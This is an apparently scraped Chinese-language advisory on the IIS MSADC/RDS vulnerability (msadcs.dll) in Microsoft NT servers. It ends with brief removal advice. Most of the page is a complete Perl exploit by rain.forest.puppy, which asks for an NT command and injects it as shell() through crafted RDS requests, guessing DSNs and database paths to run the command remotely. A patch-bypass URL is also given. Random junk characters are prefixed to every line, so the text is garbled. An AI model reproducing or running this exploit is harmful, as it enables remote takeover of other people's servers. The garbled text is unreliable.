IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
o pTH6a tXcZl!3x 涉及程序：
%<fs \J^k Microsoft NT server
}46Zfg\T6n \,'4eV 描述：
HvmE' O8 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
6-FM<@H{ o2[$X ONTl 详细：
yh rjML2K 如果你没有时间读详细内容的话，就删除:
2_}oOt?qiM c:\Program Files\Common Files\System\Msadc\msadcs.dll
Vh>|F}%E 有关的安全问题就没有了。
#}l$<7Z U 2MmH O2 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
$9P= BS(jC 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
70 Ph^e) 关于利用ODBC远程漏洞的描述，请参看:
(4?^X uIBN
!\j http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm g#`}HuPoE p=3t!3 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
X}Om)WCr http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;" Aj80 UA4c4~$S 这里不再论述。
bR,Es~n Y=?{TX=6<[ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
'n=bQ"bQu fef y`J /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~f"3Wa*\ B 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
r+h%a~A# > iJj !-a:z. EIfqRR TA #将下面这段保存为txt文件，然后: "perl -x 文件名"
}zxf~4 1 P (DEf( #!perl
#!E`%'
s] #
$-u c#5 7 # MSADC/RDS 'usage' (aka exploit) script
BMI`YGjY1 #
(>E/C^T c% # by rain.forest.puppy
`Tf}h8* #
Z6rZAw y # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
v\CBw" # beta test and find errors!
,i|K} Y& .dVV#
H use Socket; use Getopt::Std;
wVFa51a)yy getopts("e:vd:h:XR", \%args);
K F _Uu GyMN;| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+nHr+7} U;TS7A3 if (!defined $args{h} && !defined $args{R}) {
;Z`a[\i': print qq~
bq) 1'beW Usage: msadc.pl -h <host> { -d <delay> -X -v }
d}tmZ *q -h <host> = host you want to scan (ip or domain)
I\1"E y -d <seconds> = delay between calls, default 1 second
2wnk~URj -X = dump Index Server path table, if available
\!30t1EZ -v = verbose
A,t g268 -e = external dictionary file for step 5
SXYwhID= AZE%fOG<i Or a -R will resume a command session
7w" !"W# EC0B6!C&7 ~; exit;}
[W{|9 4q YgjW%q $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
R-dv$ z0 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
GM9[ 0+u; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
w'A *EWO if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
&=*1[ j\ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
DJ7ak>"R
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@%2crJnkS t( V 2 if (!defined $args{R}){ $ret = &has_msadc;
V`LE 'E die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
h*D -Vo ? Fa$lE4 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=WI3#<vDG . "cmd /c ";
#o [n. $in=<STDIN>; chomp $in;
<dE~z] P $command="cmd /c " . $in ;
G~.VW48{n k$m'ebrS.~ if (defined $args{R}) {&load; exit;}
"Dk@-Ac #y7 MB6- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
B8T5?bl &try_btcustmr;
I4w``""c 04=RoYMM print "\nStep 2: Trying to make our own DSN...";
A{B $$ 7% &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
)'g4Ty 2?Ryk`2i ) print "\nStep 3: Trying known DSNs...";
i( +Uv tgs &known_dsn;
Gs|a$^V|o K"g{P print "\nStep 4: Trying known .mdbs...";
|0u qW1 &known_mdb;
CE ~2 XGw9`J2 if (defined $args{e}){
:.l\lj0Yf print "\nStep 5: Trying dictionary of DSN names...";
J0e^v &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
pX3E l$p _C1u}1hW# print "Sorry Charley...maybe next time?\n";
NcwUK \ exit;
pp*MHM)x|q imwn)]L R ##############################################################################
PIFZ '6gn -g C%*S5& sub sendraw { # ripped and modded from whisker
Bqa_l| sleep($delay); # it's a DoS on the server! At least on mine...
hHcevSr my ($pstr)=@_;
I|Hcs. uW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/i Xl] < die("Socket problems\n");
-~\7ZRP8 if(connect(S,pack "SnA4x8",2,80,$target)){
6rG7/ select(S); $|=1;
wV$V X print $pstr; my @in=<S>;
X,o ]tgg= select(STDOUT); close(S);
a04S&ezj return @in;
i
^N }avO } else { die("Can't connect...\n"); }}
B}p.fE $1)NYsSH/H ##############################################################################
C5Fq%y{ $. S*3$1BTl sub make_header { # make the HTTP request
MfLus40;n my $msadc=<<EOT
HQ4WunH2Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
_Bn8 i( User-Agent: ACTIVEDATA
/n,a0U/ Host: $ip
EmP2r*"rb Content-Length: $clen
c- @EHv
Connection: Keep-Alive
Ai)Q(] ,<OS: ] ADCClientVersion:01.06
l~kxK.Ru Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
GBd
mT-7 !a'{ gw --!ADM!ROX!YOUR!WORLD!
hE2{m{^A Content-Type: application/x-varg
n1+J{EPH Content-Length: $reqlen
#]} G{
P m Ub2U&6( EOT
c1f`?i} . ; $msadc=~s/\n/\r\n/g;
3i}$ ~rz]U return $msadc;}
/h&>tYVio uA%F0oM ##############################################################################
tE=$# FW<YN; sub make_req { # make the RDS request
aMJ9U )wnK my ($switch, $p1, $p2)=@_;
'+S!>Lqb my $req=""; my $t1, $t2, $query, $dsn;
H{d /%}7[v O} lqY?0* if ($switch==1){ # this is the btcustmr.mdb query
= &U7:u $query="Select * from Customers where City=" . make_shell();
[vCZD8"Y8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
h&{ >4{ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.7#04_aP O}Do4>02 elsif ($switch==2){ # this is general make table query
90$`A MR $query="create table AZZ (B int, C varchar(10))";
Rmh ,P > $dsn="$p1";}
'BEM:1) 8ax3"G elsif ($switch==3){ # this is general exploit table query
BQ~&gy{ $query="select * from AZZ where C=" . make_shell();
K9'AYFse $dsn="$p1";}
~x +24/qT qjvIp- elsif ($switch==4){ # attempt to hork file info from index server
h"Q&E'0d $query="select path from scope()";
ds
QGj& $dsn="Provider=MSIDXS;";}
kI$X~s$r *:,7
A9LY elsif ($switch==5){ # bad query
\RTX fe-` $query="select";
gB#$"mq, $dsn="$p1";}
d 4-cZw}+ nr{ }yQ u $t1= make_unicode($query);
gLv";"4S $t2= make_unicode($dsn);
RD p(Ci $req = "\x02\x00\x03\x00";
~7=w,+ $req.= "\x08\x00" . pack ("S1", length($t1));
qUp DmH $req.= "\x00\x00" . $t1 ;
%Os V(7 $req.= "\x08\x00" . pack ("S1", length($t2));
6~Xe$fP( $req.= "\x00\x00" . $t2 ;
='r4z z $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
30/( return $req;}
~4~>; e c7N`W}BZ ##############################################################################
&+t,fwlM "Mmvf'N sub make_shell { # this makes the shell() statement
+EgQj*F* return "'|shell(\"$command\")|'";}
7: T 5P o %tvwv ##############################################################################
>U$,/_uMNW L pdp'9>I sub make_unicode { # quick little function to convert to unicode
47XQZ-}4 my ($in)=@_; my $out;
"eal Yveu for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
O ijG@bI8 return $out;}
mYzq[p_|j cB7=4:U ##############################################################################
eq\{*r"DCK C '}8 sub rdo_success { # checks for RDO return success (this is kludge)
GVp2| \-L my (@in) = @_; my $base=content_start(@in);
yeNC-U< if($in[$base]=~/multipart\/mixed/){
aKC3T- return 1 if( $in[$base+10]=~/^\x09\x00/ );}
m :~s6c6H return 0;}
=jmn Re
b^w, ##############################################################################
8ESBui3; !g~x n2m$R sub make_dsn { # this makes a DSN for us
B9^@] my @drives=("c","d","e","f");
C@L:m1fz print "\nMaking DSN: ";
>g6:{-b^a foreach $drive (@drives) {
w]\O3'0Js print "$drive: ";
s ?5(E} my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
MqI!i> "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
9o Y%v7 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
?ei7jM", $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Ydu=J g5u7 return 0 if $2 eq "404"; # not found/doesn't exist
lG;sDR|)( if($2 eq "200") {
F
3}cVO2bY foreach $line (@results) {
j4Cad return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
F,`y_71< } return 0;}
VHB5 qMz0R\4 ##############################################################################
w.Ft-RXA W z/N~HSh!d sub verify_exists {
jO$3>q my ($page)=@_;
b Y;ah;< my @results=sendraw("GET $page HTTP/1.0\n\n");
m ^Btr return $results[0];}
fXBA
P10# )}7rM6 hv ##############################################################################
$q{-)=-BXQ 4RNB\D sub try_btcustmr {
uQ{ &x6.1 my @drives=("c","d","e","f");
{cKKTDN my @dirs=("winnt","winnt35","winnt351","win","windows");
5B@+$D[0?3 +dk}$w[ g foreach $dir (@dirs) {
V\Wq A8 print "$dir -> "; # fun status so you can see progress
N'!a{r F foreach $drive (@drives) {
$AUC#<*C print "$drive: "; # ditto
e&E""ye $reqlen=length( make_req(1,$drive,$dir) ) - 28;
PygaW&9Z|d $reqlenlen=length( "$reqlen" );
Y_ )!U`>N? $clen= 206 + $reqlenlen + $reqlen;
q3e %L ;2-,Xzz8 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
f 6 Bx>lh if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
?x"<0k1g else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
9#iu#?*B &mKtW$K` q ##############################################################################
@]t} bF] 7g cr$&+e sub odbc_error {
kf>oZ*/ my (@in)=@_; my $base;
=M)+O%`*6 my $base = content_start(@in);
A$M mnu% if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
G@ XKE17 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
lzN\~5 a} $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1j
"/}0fx $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0$%:zHi5g return $in[$base+4].$in[$base+5].$in[$base+6];}
Ua)ARi % print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
9H$#c_zrq print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
R ~iJ5@[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"m.j cKt U@!e&QPn ##############################################################################
kqYWa`eE h W6og)x sub verbose {
T$)&8"Xya my ($in)=@_;
8hZ+[ E} return if !$verbose;
K2<"O qp_W print STDOUT "\n$in\n";}
D.9qxM"Z> E4 GtJ`{X ##############################################################################
w
xKlBx7 +]
>o@ sub save {
lO! Yl:;m% my ($p1, $p2, $p3, $p4)=@_;
oW3j|V open(OUT, ">rds.save") || print "Problem saving parameters...\n";
kHygif
!I4 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
U}<5%"!; close OUT;}
HjAhz dE~]%fUFy- ##############################################################################
:sAb'6u1EU vg[A/$gLM sub load {
PTrKnuM\J_ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ZxLd h8v. open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Z:9xf:g * @p=<IN>; close(IN);
>zFk}/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
u0 myB/` $target= inet_aton($ip) || die("inet_aton problems");
;c p*] print "Resuming to $ip ...";
$`,10uw $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
U:"X * if($p[1]==1) {
yNCd}
4Ym5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/9T .]H ~ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
OSr eS5b g my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
pURtk-Fr2 if (rdo_success(@results)){print "Success!\n";}
T% 74JRQ else { print "failed\n"; verbose(odbc_error(@results));}}
q@k/"ee*? elsif ($p[1]==3){
LtIp,2GP&_ if(run_query("$p[3]")){
*\Z9=8yK print "Success!\n";} else { print "failed\n"; }}
)!z4LE elsif ($p[1]==4){
LCBP9Rftvd if(run_query($drvst . "$p[3]")){
JBqL0H print "Success!\n"; } else { print "failed\n"; }}
m1bkY#\ U| exit;}
)Y 4 ;@pEU r@")MOGc ##############################################################################
s0r::y O nv$>iJ^~H sub create_table {
%Q,6 sH# my ($in)=@_;
`C pfQP&^ $reqlen=length( make_req(2,$in,"") ) - 28;
uuHg=8( $reqlenlen=length( "$reqlen" );
Qa`+-W u8 $clen= 206 + $reqlenlen + $reqlen;
Me;XG?` my @results=sendraw(make_header() . make_req(2,$in,""));
Q1kZ+b& return 1 if rdo_success(@results);
Fnqj ^5 my $temp= odbc_error(@results); verbose($temp);
?D>%+rK8c return 1 if $temp=~/Table 'AZZ' already exists/;
W%ml/ 4 return 0;}
v']Tusmg y{>T['"@ ##############################################################################
\_io:{M 8'WoG]E_ sub known_dsn {
{L'uuG\9U # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
q@i>)nC R my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
G VT|
fE "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Qg6tJB "banner", "banners", "ads", "ADCDemo", "ADCTest");
*@; bWUJ d +45Y,| foreach $dSn (@dsns) {
-%fc)y&$ print ".";
^O0trM>h- next if (!is_access("DSN=$dSn"));
>o:y.2yCe if(create_table("DSN=$dSn")){
- +<ai print "$dSn successful\n";
dzk1 !yy if(run_query("DSN=$dSn")){
Xr."C(`w print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}A}cq!I^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
:3 N6Ej /9b+I/xY" ##############################################################################
Sq ]VtQ( %OJ"@ 6A sub is_access {
F 4NM q&_ my ($in)=@_;
$b U .6 $reqlen=length( make_req(5,$in,"") ) - 28;
j'x@P+A $reqlenlen=length( "$reqlen" );
xLdkeuL[% $clen= 206 + $reqlenlen + $reqlen;
,UYe OM2Ao my @results=sendraw(make_header() . make_req(5,$in,""));
uS<og P my $temp= odbc_error(@results);
h e=A%s verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{3T &6 LA return 0;}
)Vz=:.D j ];#=+ ##############################################################################
XL/ V>`E@ u x8K$$$ sub run_query {
wG&Z7 C b my ($in)=@_;
Bx/)Sl@ $reqlen=length( make_req(3,$in,"") ) - 28;
/hu r6yI8 $reqlenlen=length( "$reqlen" );
naiQ$uq0 $clen= 206 + $reqlenlen + $reqlen;
!q~f;&rg my @results=sendraw(make_header() . make_req(3,$in,""));
oj=% < a return 1 if rdo_success(@results);
# uy^A C$ my $temp= odbc_error(@results); verbose($temp);
C1#f/o -> return 0;}
+4n}H}9l ol1J1 Zg ##############################################################################
$azK M,<q tl
9` sub known_mdb {
HHerL%/ my @drives=("c","d","e","f","g");
0h
kZ my @dirs=("winnt","winnt35","winnt351","win","windows");
i# fvF) my $dir, $drive, $mdb;
l1.eAs5U my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Rzyaicj^c eNK6=D| # this is sparse, because I don't know of many
nf-6 [dg my @sysmdbs=( "\\catroot\\icatalog.mdb",
(Z0.H3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
iL<FF N ~{ "\\system32\\certmdb.mdb",
*Z+U}QhHD6 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
</B:Zjn -
i{1h " my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
e< G[!m "\\cfusion\\cfapps\\forums\\forums_.mdb",
pJ
x H "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
vl!o^_70 ( "\\cfusion\\cfapps\\security\\realm_.mdb",
(S?qxW? "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-M+o ; "\\cfusion\\database\\cfexamples.mdb",
5k
c?:U& "\\cfusion\\database\\cfsnippets.mdb",
k!T-X2L= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
wH\
K'/ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
S^N{=* "\\cfusion\\brighttiger\\database\\cleam.mdb",
4<- E0 "\\cfusion\\database\\smpolicy.mdb",
bo??9 1B^7 "\\cfusion\\database\cypress.mdb",
5! ]T%.rM "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
*CV I@:Q9 "\\website\\cgi-win\\dbsample.mdb",
<J]N E|: "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
3W [Ps?G "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
<899r \ ); #these are just
k#2b3}(, foreach $drive (@drives) {
U4lAo foreach $dir (@dirs){
J=H8^4M foreach $mdb (@sysmdbs) {
qvs[Gkaa@ print ".";
;`S n66& if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
i7?OZh*f print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
xw*/8.Md6f if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
YCBUc<) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(#Xgfb"S3 } else { print "Something's borked. Use verbose next time\n"; }}}}}
HmV JkkksJ CbMClnF foreach $drive (@drives) {
@ 3b- foreach $mdb (@mdbs) {
(DM8PtZg print ".";
K&&YxX~ 3 if(create_table($drv . $drive . $dir . $mdb)){
.Pa6HA ! print "\n" . $drive . $dir . $mdb . " successful\n";
?osYs<k \ if(run_query($drv . $drive . $dir . $mdb)){
5 ?TjuGc print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
7': <I- Fm } else { print "Something's borked. Use verbose next time\n"; }}}}
,`( Qs7)Xx }
|H8UT S X+ s3)T}52 ##############################################################################
?nozB|*>ut z.:IUm{z sub hork_idx {
(!<G` ;}u print "\nAttempting to dump Index Server tables...\n";
peU1
t:k? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
c+u) C%g $reqlen=length( make_req(4,"","") ) - 28;
>&|/4`HSB $reqlenlen=length( "$reqlen" );
68!=`49r> $clen= 206 + $reqlenlen + $reqlen;
z h4m`}p my @results=sendraw2(make_header() . make_req(4,"",""));
WoWBZ;+ U if (rdo_success(@results)){
N4, !b_1 my $max=@results; my $c; my %d;
BeM|1pe. for($c=19; $c<$max; $c++){
x{{ZV] $results[$c]=~s/\x00//g;
;hPo5uZQ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
y/ah<Y0( $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
D ?cE$P $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Oc ^bbC $d{"$1$2"}="";}
[M:BJ%* foreach $c (keys %d){ print "$c\n"; }
J z)c|8U } else {print "Index server doesn't seem to be installed.\n"; }}
-MeO|HWm v:Z .8m8D ##############################################################################
dRLvej, iLkP@OYgQ sub dsn_dict {
C9 cQ}
j: open(IN, "<$args{e}") || die("Can't open external dictionary\n");
&M+fb4:_ while(<IN>){
51x)fZQ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
q0QB[)AP next if (!is_access("DSN=$dSn"));
i9y& <^<W if(create_table("DSN=$dSn")){
^1+&)6s7V print "$dSn successful\n";
qn@:A2e d if(run_query("DSN=$dSn")){
V|bN<BYJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
TfqQh! Y print "Something's borked. Use verbose next time\n";}}}
L-(.v* print "\n"; close(IN);}
T=->~@5 Tg.}rNA4 ##############################################################################
~@bh[o~rF 'x!5fAy sub sendraw2 { # ripped and modded from whisker
~m.@{Do0p sleep($delay); # it's a DoS on the server! At least on mine...
~!W{C_*N my ($pstr)=@_;
8_F 5c@7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?)B\0` %*' die("Socket problems\n");
[D%5Fh\0 if(connect(S,pack "SnA4x8",2,80,$target)){
'`Iuf\ print "Connected. Getting data";
9;u&,R open(OUT,">raw.out"); my @in;
IXef}%1N? select(S); $|=1; print $pstr;
r+%}XS%;h while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
pe$l'ur close(OUT); select(STDOUT); close(S); return @in;
T#e ;$\ } else { die("Can't connect...\n"); }}
d % : ix]t >2r ##############################################################################
Cl5l+I\1 8/dx)*JCq sub content_start { # this will take in the server headers
%0!! 99 8 my (@in)=@_; my $c;
$kef_ *BQg for ($c=1;$c<500;$c++) {
L^0s if($in[$c] =~/^\x0d\x0a/){
Qs5^kddz = if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
3B5GsI else { return $c+1; }}}
o1 kY|cnGH return -1;} # it should never get here actually
zg2}R4h 3,<$z1Jm ##############################################################################
tmJ-2 j!:^+F/ sub funky {
$ kA'9Y my (@in)=@_; my $error=odbc_error(@in);
plRBfw>]N if($error=~/ADO could not find the specified provider/){
fGtUr _D print "\nServer returned an ADO miscofiguration message\nAborting.\n";
kgV_ *0^ exit;}
AD=vY DR+ if($error=~/A Handler is required/){
z_^Vgb] print "\nServer has custom handler filters (they most likely are patched)\n";
$ &Ntdn exit;}
OJGEX}3 ' if($error=~/specified Handler has denied Access/){
V9 dRn2- [ print "\nServer has custom handler filters (they most likely are patched)\n";
n5~7x exit;}}
8i=c|k,GL. .W#-Cl&n8 ##############################################################################
B 8Cic\2 x"9e eB, sub has_msadc {
TM 1isZ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
]c.1&OB7o my $base=content_start(@results);
x9 s 7:F return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
F?wfh7q return 0;}
vjcG
F'- [!ghI%VK ########################
&?R2 zfcM n\v;4ly^ pu:Ie#xTDf 解决方案：
RpAqnDX) 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&p)]Cl/` 2、移除web 目录: /msadc
